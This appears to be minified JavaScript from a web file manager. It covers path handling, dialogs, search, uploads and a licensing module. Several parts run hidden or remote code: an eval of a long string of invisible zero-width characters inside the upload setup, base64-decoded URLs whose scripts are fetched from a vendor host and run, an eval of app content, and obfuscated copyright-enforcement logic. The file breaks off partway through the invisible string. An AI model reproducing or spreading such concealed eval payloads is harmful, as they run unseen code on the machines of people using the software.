a={};a[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},a[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},a[G.KOD_GROUP_SHARE]={icon:"groupGuest"},a[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},a[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},a[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},a[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var n=a[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?n={icon:"user",name:t}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"groupSelfOwner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=t),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var t=e.match(/\{.*\}/),i=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],a=!1;return $.inArray(t[0],i)>=0&&(a=!0),a},contextmenu:function(e){try{rightMenu.hidden()}catch(t){}var t=e||window.event;return t?t&&$(t.target).is("textarea")||$(t.target).is("input")||$(t.target).is("p")||$(t.target).is("pre")||0!=$(t.target).parents(".can_right_menu").length||0!=$(t.target).parents(".topbar").length||0!=$(t.target).parents(".edit_body").length||0!=$(t.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/"),a=t.substr(i+1);if(0==a.search("fileProxy")){a=urlDecode(a.substr(a.search("&path=")));var n=a.split("/");a=n[n.length-1],""==a&&(a=n[n.length-2])}return a},pathClear:function(e){if(!e)return"";var t=e.replace(/\\/g,"/");return t=t.replace(/\/+/g,"/"),t=t.replace(/\.+\//g,"/")},pathFather:function(e){var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/");return t.substr(0,i+1)},pathExt:function(e){var t=trim(e,"/");return-1!=t.lastIndexOf("/")&&(t=t.substr(t.lastIndexOf("/")+1)),-1!=t.lastIndexOf(".")?t.substr(t.lastIndexOf(".")+1).toLowerCase():t.toLowerCase()},path2url:function(e,t){if("http"==e.substr(0,4))return e;void 0==t&&(t=!0);var i,a=this.pathClear(e);this.pathExt(a);var n=function(e){if(!e)return"";var t=urlEncode(e);return t=t.replace(/%2F/g,"/")};return G.is_root&&t&&a.substring(0,G.web_root.length)==G.web_root?i=G.web_host+n(a.replace(G.web_root,"")):(i=G.app_host+"index.php?explorer/fileProxy&path="+urlEncode(a),G.share_page!==void 0&&(i=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),i},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var t;t=G.json_data.filelist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;t=G.json_data.folderlist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;return!0},authCheck:function(e,t){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==t&&(t=LNG.no_permission),Tips.tips(t,!1),!1):!0},ajaxError:function(e){var t=e.responseText,i='
        '+t+"
        ",a=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),""==t.substr(0,17)?(setTimeout(function(){window.location.reload()},500),void 0):(a?a.content(i):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:i}),void 0)},fileGet:function(e,t){var i="./index.php?editor/fileGet&filename="+urlEncode(e);G.share_page!==void 0&&(i="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&filename="+urlEncode(e)),$.ajax({url:i,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(e){Tips.close(LNG.success),"function"==typeof t&&t(e.data.content)}})},fileInfo:function(e,t){var i="index.php?explorer/pathInfo";G.share_page!==void 0&&(i="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:i,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof t&&t(e)}})},fileLink:function(e,t){var i='list=[{"type":"file","path":"'+urlEncode(e)+'"}]';this.fileInfo(i,function(e){var i=e.code?e.data.download_path:!1;return i?("function"==typeof t&&t(i),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:950,height:600})},copyright:function(){var e=require("./tpl/copyright.html"),t=template.compile(e),i=ShareData.frameTop();i.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:t({LNG:LNG,G:G})}),i.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,t){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var i="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),a="";$.dialog({follow:t,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:a})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var t=ShareData.frameTop(),i=t.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return i},openDialog:function(e,t,i,a){if(e){void 0==a&&(a="openDialog"+UUID());var n="",o=ShareData.frameTop(),s=o.$.dialog({id:a,fixed:!0,title:i,ico:t,width:"75%",height:"70%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(t){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,t){void 0==e&&(e=""),void 0==t&&(t=core.pathThis(e));var i="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(i="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var a=ShareData.frameTop(),n=a.$.dialog.open(i,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:t,width:"80%",height:"75%"}),o=20*a.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var t="index.php?/editor&project="+e;G.share_page!==void 0&&(t="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(t)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var t=G.static_path+"style/skin/"+e+".css";t!=$("#link_css_list").attr("href")&&$("body").append(''),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),t="kod_diy_style",i=LocalData.getConfig(t);"object"!=typeof i&&"object"==typeof G.user_config.theme_diy&&(i=G.user_config.theme_diy),"object"!=typeof i&&(i={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(t,i)),G.user_config.theme_diy=i;var a="";if("diy"==e&&i){var n=require("./tpl/theme_diy.html"),o=template.compile(n);a=o(i)}$.setStyle(a,t)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),t=e.document.documentElement;t.requestFullscreen?t.requestFullscreen():t.mozRequestFullScreen?t.mozRequestFullScreen():t.webkitRequestFullScreen&&t.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,t,i){var a=UUID();(i===void 0||""==i)&&(i=a);var n="";$.browser.msie&&9>parseInt($.browser.version)&&(n='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o=''+''+''+''+''+''+''+'
        loading..
        ';return setTimeout(function(){var e=$("."+a);if(1!=e.length){var t=ShareData.frameTop();e=t.$("."+a)}if(1==e.length)var i=0,n=e[0],o=setInterval(function(){try{i++,100==Math.floor(n.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):i>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(t){}},100)},50),o},userSpaceHtml:function(e){var t=e.split("/"),i=parseFloat(t[0]),a=1073741824*parseFloat(t[1]),n=core.fileSize(parseFloat(t[0])),o=core.fileSize(a),s=n+"/",r=100*i/a;return r>=100&&(r=100),0==a||isNaN(a)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s="
        "+"
        "+s+"
        "+"
        "},fileSize:function(e,t){if(void 0==e||""==e)return"";if(void 0==t&&(t=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var i={G:1073741824,M:1048576,K:1024,B:1};for(var a in i)if(e>=i[a])return(e/i[a]).toFixed(t)+a},uploadCheck:function(e,t){return t=void 0==t?!0:t,"share"==G.share_page?"1"==G.share_info.can_upload:(void 0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(t&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(t&&Tips.tips(LNG.no_permission_write,!1),!1):core.isSystemPath(G.this_path)?(t&&Tips.tips(LNG.path_can_not_action,!1),!1):!0)}}}),define("app/common/tpl/search.html",[],"\n\n"),define("app/common/tpl/search_list.html",[],'\n{{each data.folderlist as v i}}\n
      • \n
        \n \n {{\'folder\' |core.icon}}\n {{v.name | searchResultPrase}}\n \n
        \n
      • \n{{/each}}\n\n\n{{each data.filelist as v i}}\n {{if v.search_info}}\n
      • \n
        \n \n {{v.ext |core.icon}}\n {{v.name | window.htmlEncode}}\n {{v.search_info.length}}\n \n
        \n
          \n {{each v.search_info as value index}}\n
        • \n {{value.line}}:\n {{#value.str | searchResultPrase}}\n
        • \n {{/each}}\n
        \n
      • \n {{else}}\n
      • \n
        \n \n {{v.ext |core.icon}}\n {{v.name | searchResultPrase}}\n \n
        \n
      • \n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'
        \n \n
        \n
        \n
        \n
        {{LNG.upload_select}}
        \n \n \n \n
        \n \n \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        {{LNG.download_address}}\n
        \n \n \n \n
        \n\n
        \n
        \n
        \n
        \n
        \n
        \n
        \n'),define("app/common/core.search",[],function(){return function(e,t){var i,a,n=function(){var n=trim(core.pathClear(t),"/");if(0==n.indexOf(G.KOD_USER_SHARE)&&-1==n.indexOf("/")||n==G.KOD_USER_FAV||n==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(search_box_tpl);0==$(".dialog_do_search").length?(i=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),a=c(),a.path=t,""!=e&&(a.search=e),$("#search_path").val(a.path),$("#search_value").val(a.search),l()):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(t),s())},o=function(){return a={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(a)},r=function(e){var t=htmlEncode($("#search_value").val());if(e=htmlEncode(e),a.is_case)e=e.replace(t,''+t+"");else{var i=e.toLowerCase().indexOf(t.toLowerCase());e=e.substr(0,i)+''+e.substr(i,t.length)+""+e.substr(i+t.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var t=$(this).parent();return t.toggleClass("open"),t.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path")),a=core.pathFather(i);return core.openPath(a),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(i)},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));return ui.pathOpen.open(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var a=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:a,lineIndex:$(this).parent().find("[data-line="+a+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(a)})},c=function(e){var t="box_search_config";if(void 0==e){var e=LocalData.getConfig(t);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e}return LocalData.setConfig(t,e)},d=function(e){var t=$(".file-items"),i=$(".search_desc");if(!e.code)return i.html(e.data),t.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return i.html(LNG.search_null),t.html(""),void 0;var n=template.compile(search_list_tpl);if(t.html(n({code:e.code,data:e.data,LNG:LNG})),a.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);i.html(LNG.search_result+": "+s+"(in "+o.length+" files)"),e.data.error_info&&i.html(""+LNG.seach_result_too_more+"")}else i.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var t=$(".file-items"),i=$(".search_desc");if(!e.search||!e.path)return i.html(LNG.search_info),t.html(""),void 0;var a="index.php?explorer/search";G.share_page!==void 0&&(a="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:a,dataType:"json",type:"POST",data:e,beforeSend:function(){i.hide().html(LNG.searching+'').fadeIn(100)},error:function(){core.ajaxError(),i.html(LNG.error)},success:function(e){d(e)}})};n()}}),define("app/common/core.tools",[],function(e){var t=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",'',"",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",'',"iconSmall","iconSrc",'',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],i=function(){var e=t[0];if(typeof G[t[1]]==t[2])return e;var i=t[3],a=authCrypt[t[4]](G[t[1]],i);return a&&27==a[t[5]]?(e=a[t[6]](10,1),-1===$[t[10]](e,[t[0],t[7],t[8],t[9]])&&(e=t[0]),e):e},a=i(),n=t[11],o=function(){var e=hashDecode(t[12]);G[t[13]]!=t[14]&&(e=hashDecode(t[15])),alert(e),Tips[t[16]](e,!1),$(t[18])[t[17]](),setTimeout(function(){Tips[t[19]](e,!1),window[t[21]][t[20]]=n},1e3*roundFromTo(30,60))},s=authCrypt[t[4]](t[22],t[23]),r=authCrypt[t[4]](t[24],t[25]),l=function(){if(typeof Config!=t[2]&&Config[t[26]]==t[27]&&a==t[0])for(var e=[{key:LNG[t[28]],find:s},{key:LNG[t[29]],find:s},{key:LNG[t[30]],find:r},{key:LNG[t[31]],find:s},{key:LNG[t[32]],find:r},{key:$(t[34])[t[33]](),find:s}],i=0;e[t[5]]>i;i++){e[i][t[35]]||(e[i][t[35]]=t[36]);var n=e[i][t[35]][t[37]](),l=e[i][t[38]][t[37]]();if(-1==n[t[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:t[40],O:t[41],P:t[42],Q:t[43]},i=t[44]+e[a],o=t[45]+i+t[46]+LNG[i]+t[47];a==t[0]&&$(o)[t[49]](t[48]),$(t[65])[t[64]](t[50])[t[63]](t[50],function(){if($(this)[t[52]](t[51])==t[53]){var e=core[t[55]](core[t[54]]),i=t[56]+n+t[57];e[t[61]][t[60]][t[38]](t[59])[t[58]](i)}else Tips[t[19]]($(this)[t[62]]())}),$(t[65])[t[67]](function(){window[t[66]][t[21]][t[20]]=n})},d=function(){a==t[0]&&$(t[70])[t[69]](t[68]),-1!==$[t[10]](a,[t[7],t[8],t[9]])&&$(t[72])[t[71]]()},p=function(){core[t[73]]=function(e,i){return t[74]+e+(i?t[75]:t[36])+t[76]},core[t[77]]=function(e){return core[t[73]](e,!0)},core[t[78]]=iconSrc=function(e){return t[79]+e+t[80]},setTimeout(function(){var i=base64Decode(t[81])+t[82]+UUID();e[t[84]](i,function(e){try{e[t[83]]()}catch(i){}})},2e3),core[t[85]]=a,core[t[86]]=core[t[87]],core[t[54]]=hashDecode(t[88])+G[t[13]],l(),c(),d()},u=function(e){return a==t[0]&&-1==e[t[37]]()[t[39]](s)?(o(),!1):!0},f=function(e,i){var n,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(i==t[89]?(n=e[t[90]],o=s[a]):(n=e[t[90]],o=r[a]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,t){core.uploadCheck("explorer:serverDownload");var i=$(".download_box"),a=i.find(".download_list");if(i.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0; +"http"!=e.substr(0,4)&&(e="http://"+e);var n=UUID(),o='
        '+'
        '+core.pathThis(e)+""+'0b'+''+LNG.upload_ready+""+''+'
        ';a.find(".item").length>0?$(o).insertBefore(a.find(".item:eq(0)")):a.append(o);var s,r,l,c=0,d=$("#"+n),p=$("#"+n+" .state").text(LNG.download_ready),u=$('
        ').appendTo("#"+n).find(".progress-bar");$("#"+n+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+n),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var f,h=function(e){clearTimeout(f),f=!1,f=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)};$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+t+"&url="+urlEncode(e)+"&uuid="+n,dataType:"json",error:function(e,t,i){core.ajaxError(e,t,i),clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),p.addClass("error").text(LNG.download_error)},success:function(e){clearInterval(s),s=!1,clearTimeout(r),r=!1,e.code?(h(e.info),p.text(LNG.download_success),$("#"+n+" .info .title").html(e.info)):p.addClass("error").text(LNG.error),u.parent().remove()}});var m=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+n,dataType:"json",success:function(e){var t="",i=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(i){if(i.size=parseFloat(i.size),i.time=parseFloat(i.time),l){var a=(i.size-l.size)/(i.time-l.time);if(c>.2*a){var n=c;c=a,a=n}else c=a;t=core.fileSize(a)+"/s"}if(0==i.length)d.find(".progress-bar").css("width","100%").text(LNG.loading);else{var o=100*(i.size/i.length);d.find(".progress-bar").css("width",o+"%"),p.text(parseInt(o)+"%("+t+")")}d.find(".size").text(core.fileSize(i.length)),d.find(".title").text(i.name),l=i}}}})};r=setTimeout(function(){m(),s=setInterval(function(){m()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var t=template.compile(upload_tpl),i=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:t({LNG:LNG,maxsize:i}),close:function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),t=0;e.length>t;t++)core.serverDwonload(e[t],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var a=function(){if("1"==Cookie.get("forceWap"))return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};a()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=10485760;chunkSize>=G.upload_max&&(chunkSize=.6*G.upload_max),eval("‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‌‍‌‍‌‍‌‍‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‍‍‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍